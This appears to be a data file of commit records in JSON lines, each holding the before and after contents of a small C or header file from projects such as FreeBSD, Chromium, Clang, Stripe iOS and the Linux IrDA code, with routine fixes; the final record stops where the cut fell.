{"commit":"8bafd7d816991e89b8599aff4f5a1ef6d27dc80e","old_file":"kerberos5\/include\/crypto-headers.h","new_file":"kerberos5\/include\/crypto-headers.h","old_contents":"\/* $FreeBSD$ *\/\n#ifndef __crypto_headers_h__\n#define __crypto_headers_h__\n#include <openssl\/des.h>\n#include <openssl\/rc4.h>\n#include <openssl\/md4.h>\n#include <openssl\/md5.h>\n#include <openssl\/sha.h>\n#endif \/* __crypto_headers_h__ *\/\n","new_contents":"\/* $FreeBSD$ *\/\n#ifndef __crypto_headers_h__\n#define __crypto_headers_h__\n#define OPENSSL_DES_LIBDES_COMPATIBILITY\n#include <openssl\/des.h>\n#include <openssl\/rc4.h>\n#include <openssl\/md4.h>\n#include <openssl\/md5.h>\n#include <openssl\/sha.h>\n#endif \/* __crypto_headers_h__ *\/\n","subject":"Define OPENSSL_DES_LIBDES_COMPATIBILITY so that Heimdal will build with OpenSSL 0.9.7 when it is imported. (This currently has no effect.)","message":"Define OPENSSL_DES_LIBDES_COMPATIBILITY so that Heimdal will build with\nOpenSSL 0.9.7 when it is imported.  (This currently has no effect.)\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"9135a146d451d9e165a81f787e80d6dde9338073","old_file":"texor.c","new_file":"texor.c","old_contents":"#include <unistd.h>\n\nint main() {\n  char c;\n  while (read(STDIN_FILENO, &c, 1) == 1);\n  return 0;\n}\n","new_contents":"#include <unistd.h>\n\nint main() {\n  char c;\n  while (read(STDIN_FILENO, &c, 1) == 1 && c!= 'q');\n  return 0;\n}\n","subject":"Quit after reading a q","message":"Quit after reading a q\n","lang":"C","license":"bsd-2-clause","repos":"kyletolle\/texor"}
{"commit":"727917c5605c2e140528a5e7e357cb312757f67f","old_file":"maximum_pairwise_product.c","new_file":"maximum_pairwise_product.c","old_contents":"#include <stdio.h>\n\nint MaxPairwiseProduct(int* numbers, int sizeofArray) {\n  int result = 0;\n\n  for (int i = 0; i < sizeofArray; ++i) {\n    for (int j = i + 1; j < sizeofArray; ++j) {\n      if (numbers[i] * numbers[j] > result) {\n        result = numbers[i] * numbers[j];\n      }\n    }\n  }\n  return result;\n}\n\nint main(void){\n\tint n;\n\tchar formatter[100];\n\tscanf(\"%d\", &n);\n\tint numbers[n], i = 0;\n\n\twhile (i < n && scanf(\"%d\", &numbers[i++]) == 1);\n\n\tint result = MaxPairwiseProduct(numbers, n);\n    printf(\"%d\\n\", result);\n    return 0;\n}","new_contents":"#include <stdio.h>\n\nlong long MaxPairwiseProduct(int* numbers, int sizeofArray) {\n  long long result = 0;\n\n  for (int i = 0; i < sizeofArray; ++i) {\n    for (int j = i + 1; j < sizeofArray; ++j) {\n      if (((long long)numbers[i]) * numbers[j] > result) {\n        result = ((long long)numbers[i]) * numbers[j];\n      }\n    }\n  }\n  return result;\n}\n\nint main(void){\n\tint n;\n\tchar formatter[100];\n\tscanf(\"%d\", &n);\n\tint numbers[n], i = 0;\n\n\twhile (i < n && scanf(\"%d\", &numbers[i++]) == 1);\n\n\tlong long result = MaxPairwiseProduct(numbers, n);\n    printf(\"%lld\\n\", result);\n    return 0;\n}","subject":"Change result data type to long long","message":"Change result data type to long long\n","lang":"C","license":"mit","repos":"sai-y\/coursera_algorithmic_toolbox"}
{"commit":"04d4d10ab5ebb92244f07cf43ff9e89fcd548a44","old_file":"Stripe\/PublicHeaders\/STPPaymentIntentSourceActionAuthorizeWithURL.h","new_file":"Stripe\/PublicHeaders\/STPPaymentIntentSourceActionAuthorizeWithURL.h","old_contents":"\/\/\n\/\/  STPPaymentIntentSourceActionAuthorizeWithURL.h\n\/\/  Stripe\n\/\/\n\/\/  Created by Daniel Jackson on 11\/7\/18.\n\/\/  Copyright © 2018 Stripe, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"STPAPIResponseDecodable.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n The `STPPaymentIntentSourceAction` details when type is `authorize_with_url`.\n\n These are created & owned by the containing `STPPaymentIntent`.\n *\/\n@interface STPPaymentIntentSourceActionAuthorizeWithURL: NSObject<STPAPIResponseDecodable>\n\n\/**\n You cannot directly instantiate an `STPPaymentIntentSourceActionAuthorizeWithURL`.\n *\/\n- (instancetype)init __attribute__((unavailable(\"You cannot directly instantiate an STPPaymentIntentSourceActionAuthorizeWithURL.\")));\n\n\/**\n The URL where the user will authorize this charge.\n *\/\n@property (nonatomic, readonly) NSURL *url;\n\n\/**\n The return URL that'll be redirected back to when the user is done\n authorizing the charge.\n *\/\n@property (nonatomic, nullable, readonly) NSURL *returnURL;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/\n\/\/  STPPaymentIntentSourceActionAuthorizeWithURL.h\n\/\/  Stripe\n\/\/\n\/\/  Created by Daniel Jackson on 11\/7\/18.\n\/\/  Copyright © 2018 Stripe, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"STPAPIResponseDecodable.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n The `STPPaymentIntentSourceAction` details when type is `STPPaymentIntentSourceActionTypeAuthorizeWithURL`.\n\n These are created & owned by the containing `STPPaymentIntent`.\n *\/\n@interface STPPaymentIntentSourceActionAuthorizeWithURL: NSObject<STPAPIResponseDecodable>\n\n\/**\n You cannot directly instantiate an `STPPaymentIntentSourceActionAuthorizeWithURL`.\n *\/\n- (instancetype)init __attribute__((unavailable(\"You cannot directly instantiate an STPPaymentIntentSourceActionAuthorizeWithURL.\")));\n\n\/**\n The URL where the user will authorize this charge.\n *\/\n@property (nonatomic, readonly) NSURL *url;\n\n\/**\n The return URL that'll be redirected back to when the user is done\n authorizing the charge.\n *\/\n@property (nonatomic, nullable, readonly) NSURL *returnURL;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Use SDK's enum value instead of server's string constant in documentation","message":"Use SDK's enum value instead of server's string constant in documentation\n","lang":"C","license":"mit","repos":"stripe\/stripe-ios,stripe\/stripe-ios,stripe\/stripe-ios,stripe\/stripe-ios,stripe\/stripe-ios,stripe\/stripe-ios"}
{"commit":"75053d92ff35f4b83f7edffe541c2526f04ecf17","old_file":"arch\/x86\/libs\/thread_x86\/incs\/ac_thread_stack_min.h","new_file":"arch\/x86\/libs\/thread_x86\/incs\/ac_thread_stack_min.h","old_contents":"\/*\n * copyright 2015 wink saville\n *\n * licensed under the apache license, version 2.0 (the \"license\");\n * you may not use this file except in compliance with the license.\n * you may obtain a copy of the license at\n *\n *     http:\/\/www.apache.org\/licenses\/license-2.0\n *\n * unless required by applicable law or agreed to in writing, software\n * distributed under the license is distributed on an \"as is\" basis,\n * without warranties or conditions of any kind, either express or implied.\n * see the license for the specific language governing permissions and\n * limitations under the license.\n *\/\n\n#ifndef SADIE_ARCH_X86_LIBS_AC_THREAD_INCS_AC_THREAD_STACK_MIN_H\n#define SADIE_ARCH_X86_LIBS_AC_THREAD_INCS_AC_THREAD_STACK_MIN_H\n\n#define AC_THREAD_STACK_MIN 0x100\n\n#endif\n","new_contents":"\/*\n * copyright 2015 wink saville\n *\n * licensed under the apache license, version 2.0 (the \"license\");\n * you may not use this file except in compliance with the license.\n * you may obtain a copy of the license at\n *\n *     http:\/\/www.apache.org\/licenses\/license-2.0\n *\n * unless required by applicable law or agreed to in writing, software\n * distributed under the license is distributed on an \"as is\" basis,\n * without warranties or conditions of any kind, either express or implied.\n * see the license for the specific language governing permissions and\n * limitations under the license.\n *\/\n\n#ifndef SADIE_ARCH_X86_LIBS_AC_THREAD_INCS_AC_THREAD_STACK_MIN_H\n#define SADIE_ARCH_X86_LIBS_AC_THREAD_INCS_AC_THREAD_STACK_MIN_H\n\n#define AC_THREAD_STACK_MIN 0x1000\n\n#endif\n","subject":"Increase x86 AC_THREAD_STACK_MIN to 4K from 256 bytes just incase","message":"Increase x86 AC_THREAD_STACK_MIN to 4K from 256 bytes just incase\n","lang":"C","license":"apache-2.0","repos":"winksaville\/sadie,winksaville\/sadie"}
{"commit":"d558b32f61aa23fa9237d875e59b5acec4dcb4e6","old_file":"include\/IrcCore\/irccore.h","new_file":"include\/IrcCore\/irccore.h","old_contents":"#include \"irc.h\"\n#include \"irccommand.h\"\n#include \"ircconnection.h\"\n#include \"ircglobal.h\"\n#include \"ircmessage.h\"\n#include \"ircfilter.h\"\n#include \"ircnetwork.h\"\n","new_contents":"#include \"irc.h\"\n#include \"irccommand.h\"\n#include \"ircconnection.h\"\n#include \"ircglobal.h\"\n#include \"ircmessage.h\"\n#include \"ircfilter.h\"\n#include \"ircnetwork.h\"\n#include \"ircprotocol.h\"\n","subject":"Include ircprotocol.h in the IrcCore module header","message":"Include ircprotocol.h in the IrcCore module header\n","lang":"C","license":"bsd-3-clause","repos":"jpnurmi\/libcommuni,jpnurmi\/libcommuni,communi\/libcommuni,communi\/libcommuni"}
{"commit":"809e023343ae13d40f21e4d03ff7b09b5ecf005a","old_file":"device\/vibration\/vibration_manager_impl_android.h","new_file":"device\/vibration\/vibration_manager_impl_android.h","old_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef DEVICE_VIBRATION_VIBRATION_MANAGER_IMPL_ANDROID_H_\n#define DEVICE_VIBRATION_VIBRATION_MANAGER_IMPL_ANDROID_H_\n\n#include \"base\/android\/jni_android.h\"\n#include \"device\/vibration\/vibration_manager.mojom.h\"\n\nnamespace device {\n\n\/\/ TODO(timvolodine): consider implementing the VibrationManager mojo service\n\/\/ directly in java, crbug.com\/439434.\nclass VibrationManagerImplAndroid\n    : public mojo::InterfaceImpl<VibrationManager> {\n public:\n  static VibrationManagerImplAndroid* Create();\n  static bool Register(JNIEnv* env);\n\n  void Vibrate(int64 milliseconds) override;\n  void Cancel() override;\n\n private:\n  VibrationManagerImplAndroid();\n  virtual ~VibrationManagerImplAndroid();\n\n  base::android::ScopedJavaGlobalRef<jobject> j_vibration_provider_;\n};\n\n}  \/\/ namespace device\n\n#endif  \/\/ DEVICE_VIBRATION_VIBRATION_MANAGER_IMPL_ANDROID_H_\n","new_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef DEVICE_VIBRATION_VIBRATION_MANAGER_IMPL_ANDROID_H_\n#define DEVICE_VIBRATION_VIBRATION_MANAGER_IMPL_ANDROID_H_\n\n#include \"base\/android\/jni_android.h\"\n#include \"device\/vibration\/vibration_manager.mojom.h\"\n\nnamespace device {\n\n\/\/ TODO(timvolodine): consider implementing the VibrationManager mojo service\n\/\/ directly in java, crbug.com\/439434.\nclass VibrationManagerImplAndroid\n    : public mojo::InterfaceImpl<VibrationManager> {\n public:\n  static VibrationManagerImplAndroid* Create();\n  static bool Register(JNIEnv* env);\n\n  void Vibrate(int64 milliseconds) override;\n  void Cancel() override;\n\n private:\n  VibrationManagerImplAndroid();\n  ~VibrationManagerImplAndroid() override;\n\n  base::android::ScopedJavaGlobalRef<jobject> j_vibration_provider_;\n};\n\n}  \/\/ namespace device\n\n#endif  \/\/ DEVICE_VIBRATION_VIBRATION_MANAGER_IMPL_ANDROID_H_\n","subject":"Update {virtual,override,final} to follow C++11 style in device.","message":"Update {virtual,override,final} to follow C++11 style in device.\n\nThe Google style guide states that only one of {virtual,override,final}\nshould be used for each declaration, since override implies virtual and\nfinal implies both virtual and override.\n\nThis patch was automatically generated with an OS=android build using a\nvariation of https:\/\/codereview.chromium.org\/598073004.\n\nBUG=417463\nR=timvolodine@chromium.org\n\nReview URL: https:\/\/codereview.chromium.org\/902973002\n\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#315079}\n","lang":"C","license":"bsd-3-clause","repos":"chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,Just-D\/chromium-1,Chilledheart\/chromium,hgl888\/chromium-crosswalk,Chilledheart\/chromium,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,Just-D\/chromium-1,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,Just-D\/chromium-1,ltilve\/chromium,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,Chilledheart\/chromium,chuan9\/chromium-crosswalk,Just-D\/chromium-1,Chilledheart\/chromium"}
{"commit":"730f909e146b0ac5dbcf9b8be65cb8f82c68d883","old_file":"test\/CodeGen\/x86_64-arguments.c","new_file":"test\/CodeGen\/x86_64-arguments.c","old_contents":"\/\/ RUN: clang -triple x86_64-unknown-unknown -emit-llvm -o %t %s &&\n\/\/ RUN: grep 'define signext i8 @f0()' %t &&\n\/\/ RUN: grep 'define signext i16 @f1()' %t &&\n\/\/ RUN: grep 'define i32 @f2()' %t &&\n\/\/ RUN: grep 'define float @f3()' %t &&\n\/\/ RUN: grep 'define double @f4()' %t &&\n\/\/ RUN: grep 'define x86_fp80 @f5()' %t &&\n\/\/ RUN: grep 'define void @f6(i8 signext %a0, i16 signext %a1, i32 %a2, i64 %a3, i8\\* %a4)' %t\n\nchar f0(void) {\n}\n\nshort f1(void) {\n}\n\nint f2(void) {\n}\n\nfloat f3(void) {\n}\n\ndouble f4(void) {\n}\n\nlong double f5(void) {\n}\n\nvoid f6(char a0, short a1, int a2, long long a3, void *a4) {\n}\n","new_contents":"\/\/ RUN: clang -triple x86_64-unknown-unknown -emit-llvm -o %t %s &&\n\/\/ RUN: grep 'define signext i8 @f0()' %t &&\n\/\/ RUN: grep 'define signext i16 @f1()' %t &&\n\/\/ RUN: grep 'define i32 @f2()' %t &&\n\/\/ RUN: grep 'define float @f3()' %t &&\n\/\/ RUN: grep 'define double @f4()' %t &&\n\/\/ RUN: grep 'define x86_fp80 @f5()' %t &&\n\/\/ RUN: grep 'define void @f6(i8 signext %a0, i16 signext %a1, i32 %a2, i64 %a3, i8\\* %a4)' %t &&\n\/\/ RUN: grep 'define void @f7(i32 %a0)' %t\n\nchar f0(void) {\n}\n\nshort f1(void) {\n}\n\nint f2(void) {\n}\n\nfloat f3(void) {\n}\n\ndouble f4(void) {\n}\n\nlong double f5(void) {\n}\n\nvoid f6(char a0, short a1, int a2, long long a3, void *a4) {\n}\n\ntypedef enum { A, B, C } E;\n\nvoid f7(E a0) {\n}","subject":"Add test for enum types","message":"Add test for enum types\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@65540 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"0fc6d355f3c7bcf56ce20d458d376098a6893884","old_file":"views\/controls\/tabbed_pane\/tabbed_pane_listener.h","new_file":"views\/controls\/tabbed_pane\/tabbed_pane_listener.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef VIEWS_CONTROLS_TABBED_PANE_TABBED_PANE_LISTENER_H_\n#define VIEWS_CONTROLS_TABBED_PANE_TABBED_PANE_LISTENER_H_\n#pragma once\n\nnamespace views {\n\n\/\/ An interface implemented by an object to let it know that a tabbed pane was\n\/\/ selected by the user at the specified index.\nclass TabbedPaneListener {\n public:\n  \/\/ Called when the tab at |index| is selected by the user.\n  virtual void TabSelectedAt(int index) = 0;\n};\n\n}  \/\/ namespace views\n\n#endif  \/\/ VIEWS_CONTROLS_TABBED_PANE_TABBED_PANE_LISTENER_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef VIEWS_CONTROLS_TABBED_PANE_TABBED_PANE_LISTENER_H_\n#define VIEWS_CONTROLS_TABBED_PANE_TABBED_PANE_LISTENER_H_\n#pragma once\n\nnamespace views {\n\n\/\/ An interface implemented by an object to let it know that a tabbed pane was\n\/\/ selected by the user at the specified index.\nclass TabbedPaneListener {\n public:\n  \/\/ Called when the tab at |index| is selected by the user.\n  virtual void TabSelectedAt(int index) = 0;\n\n protected:\n  virtual ~TabbedPaneListener() {}\n};\n\n}  \/\/ namespace views\n\n#endif  \/\/ VIEWS_CONTROLS_TABBED_PANE_TABBED_PANE_LISTENER_H_\n","subject":"Add protected virtual destructor to TabbedPaneListener.","message":"views: Add protected virtual destructor to TabbedPaneListener.\n\nThe use of a protected virtual destructor is to prevent the destruction of a\nderived object via a base-class pointer.\n\nThat's it, TabbedPaneListenere should only be deleted through derived class.\n\nExample:\n\nclass FooListener {\n public:\n  ...\n\n protected:\n  virtual ~FooListener() {}\n};\n\nclass Foo : public FooListener {\n};\n\nFooListener* listener = new Foo;\ndelete listener;  \/\/ It should prevent this situation!\n\nR=sky@chromium.org\n\nReview URL: http:\/\/codereview.chromium.org\/8028030\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@102916 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"gavinp\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium"}
{"commit":"c304fe7966056ee3e246d69e9e330e048c21031c","old_file":"support\/main.c","new_file":"support\/main.c","old_contents":"\/*\r\n * Mono managed-to-native support code.\r\n *\r\n * Author:\r\n *   Joao Matos (joao.matos@xamarin.com)\r\n *\r\n * (C) 2016 Microsoft, Inc.\r\n *\r\n * Permission is hereby granted, free of charge, to any person obtaining\r\n * a copy of this software and associated documentation files (the\r\n * \"Software\"), to deal in the Software without restriction, including\r\n * without limitation the rights to use, copy, modify, merge, publish,\r\n * distribute, sublicense, and\/or sell copies of the Software, and to\r\n * permit persons to whom the Software is furnished to do so, subject to\r\n * the following conditions:\r\n *\r\n * The above copyright notice and this permission notice shall be\r\n * included in all copies or substantial portions of the Software.\r\n *\r\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\r\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\r\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\r\n * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\r\n * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\r\n * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\r\n *\/\r\n\r\n#include \"mono_embeddinator.h\"\r\n\r\nint main()\r\n{\r\n  mono_m2n_context_t ctx;\r\n  mono_m2n_init(&ctx, \"mono_embeddinnator\");\r\n\r\n  \/* YOUR CODE HERE *\/\r\n  \r\n  mono_m2n_destroy(&ctx);\r\n}\r\n","new_contents":"\/*\r\n * Mono managed-to-native support code.\r\n *\r\n * Author:\r\n *   Joao Matos (joao.matos@xamarin.com)\r\n *\r\n * (C) 2016 Microsoft, Inc.\r\n *\r\n * Permission is hereby granted, free of charge, to any person obtaining\r\n * a copy of this software and associated documentation files (the\r\n * \"Software\"), to deal in the Software without restriction, including\r\n * without limitation the rights to use, copy, modify, merge, publish,\r\n * distribute, sublicense, and\/or sell copies of the Software, and to\r\n * permit persons to whom the Software is furnished to do so, subject to\r\n * the following conditions:\r\n *\r\n * The above copyright notice and this permission notice shall be\r\n * included in all copies or substantial portions of the Software.\r\n *\r\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\r\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\r\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\r\n * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\r\n * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\r\n * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\r\n *\/\r\n\r\n#include \"mono_embeddinator.h\"\r\n\r\nint main()\r\n{\r\n  mono_m2n_context_t ctx = {};\r\n  mono_m2n_init(&ctx, \"mono_embeddinnator\");\r\n\r\n  \/* YOUR CODE HERE *\/\r\n  \r\n  mono_m2n_destroy(&ctx);\r\n}\r\n","subject":"Initialize the local Mono context struct for deterministic behavior.","message":"Initialize the local Mono context struct for deterministic behavior.\n","lang":"C","license":"mit","repos":"jonathanpeppers\/Embeddinator-4000,mono\/Embeddinator-4000,mono\/Embeddinator-4000,mono\/Embeddinator-4000,mono\/Embeddinator-4000,mono\/Embeddinator-4000,jonathanpeppers\/Embeddinator-4000,mono\/Embeddinator-4000,jonathanpeppers\/Embeddinator-4000,jonathanpeppers\/Embeddinator-4000,jonathanpeppers\/Embeddinator-4000,jonathanpeppers\/Embeddinator-4000,jonathanpeppers\/Embeddinator-4000,mono\/Embeddinator-4000"}
{"commit":"95b99a670df31ca5271f503f378e5cac3aee8f5e","old_file":"include\/net\/irda\/irlan_filter.h","new_file":"include\/net\/irda\/irlan_filter.h","old_contents":"\/*********************************************************************\n *                \n * Filename:      irlan_filter.h\n * Version:       \n * Description:   \n * Status:        Experimental.\n * Author:        Dag Brattli <dagb@cs.uit.no>\n * Created at:    Fri Jan 29 15:24:08 1999\n * Modified at:   Sun Feb  7 23:35:31 1999\n * Modified by:   Dag Brattli <dagb@cs.uit.no>\n * \n *     Copyright (c) 1998 Dag Brattli, All Rights Reserved.\n *      \n *     This program is free software; you can redistribute it and\/or \n *     modify it under the terms of the GNU General Public License as \n *     published by the Free Software Foundation; either version 2 of \n *     the License, or (at your option) any later version.\n *  \n *     Neither Dag Brattli nor University of Troms admit liability nor\n *     provide warranty for any of this software. This material is \n *     provided \"AS-IS\" and at no charge.\n *     \n ********************************************************************\/\n\n#ifndef IRLAN_FILTER_H\n#define IRLAN_FILTER_H\n\nvoid irlan_check_command_param(struct irlan_cb *self, char *param, \n\t\t\t       char *value);\nvoid irlan_filter_request(struct irlan_cb *self, struct sk_buff *skb);\nvoid irlan_print_filter(struct seq_file *seq, int filter_type);\n\n#endif \/* IRLAN_FILTER_H *\/\n","new_contents":"\/*********************************************************************\n *                \n * Filename:      irlan_filter.h\n * Version:       \n * Description:   \n * Status:        Experimental.\n * Author:        Dag Brattli <dagb@cs.uit.no>\n * Created at:    Fri Jan 29 15:24:08 1999\n * Modified at:   Sun Feb  7 23:35:31 1999\n * Modified by:   Dag Brattli <dagb@cs.uit.no>\n * \n *     Copyright (c) 1998 Dag Brattli, All Rights Reserved.\n *      \n *     This program is free software; you can redistribute it and\/or \n *     modify it under the terms of the GNU General Public License as \n *     published by the Free Software Foundation; either version 2 of \n *     the License, or (at your option) any later version.\n *  \n *     Neither Dag Brattli nor University of Troms admit liability nor\n *     provide warranty for any of this software. This material is \n *     provided \"AS-IS\" and at no charge.\n *     \n ********************************************************************\/\n\n#ifndef IRLAN_FILTER_H\n#define IRLAN_FILTER_H\n\nvoid irlan_check_command_param(struct irlan_cb *self, char *param, \n\t\t\t       char *value);\nvoid irlan_filter_request(struct irlan_cb *self, struct sk_buff *skb);\n#ifdef CONFIG_PROC_FS\nvoid irlan_print_filter(struct seq_file *seq, int filter_type);\n#endif\n\n#endif \/* IRLAN_FILTER_H *\/\n","subject":"Fix compile warning when CONFIG_PROC_FS=n","message":"[IRDA] irlan: Fix compile warning when CONFIG_PROC_FS=n\n\ninclude\/net\/irda\/irlan_filter.h:31: warning: 'struct seq_file' declared inside parameter list\ninclude\/net\/irda\/irlan_filter.h:31: warning: its scope is only this definition or declaration, which is probably not what you want\n\nSigned-off-by: Randy Dunlap <e1d10faa7e2a0c027bf1ff1d20e7fd10154be7ea@oracle.com>\nSigned-off-by: David S. Miller <fe08d3c717adf2ae63592e4c9aec6e3e404d8e3e@davemloft.net>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"d1adc4294f0b62951d24ac84f0d397fb0385bf07","old_file":"src\/rest_server\/string_piece.h","new_file":"src\/rest_server\/string_piece.h","old_contents":"\/\/ This file is part of MicroRestD <http:\/\/github.com\/ufal\/microrestd\/>.\n\/\/\n\/\/ Copyright 2015 Institute of Formal and Applied Linguistics, Faculty of\n\/\/ Mathematics and Physics, Charles University in Prague, Czech Republic.\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#pragma once\n\n#include <cstring>\n#include <string>\n\nnamespace ufal {\nnamespace microrestd {\n\nstruct string_piece {\n  const char* str;\n  size_t len;\n\n  string_piece() : str(nullptr), len(0) {}\n  string_piece(const char* str) : str(str), len(strlen(str)) {}\n  string_piece(const char* str, size_t len) : str(str), len(len) {}\n  string_piece(const std::string& str) : str(str.c_str()), len(str.size()) {}\n};\n\n} \/\/ namespace microrestd\n} \/\/ namespace ufal\n","new_contents":"\/\/ This file is part of MicroRestD 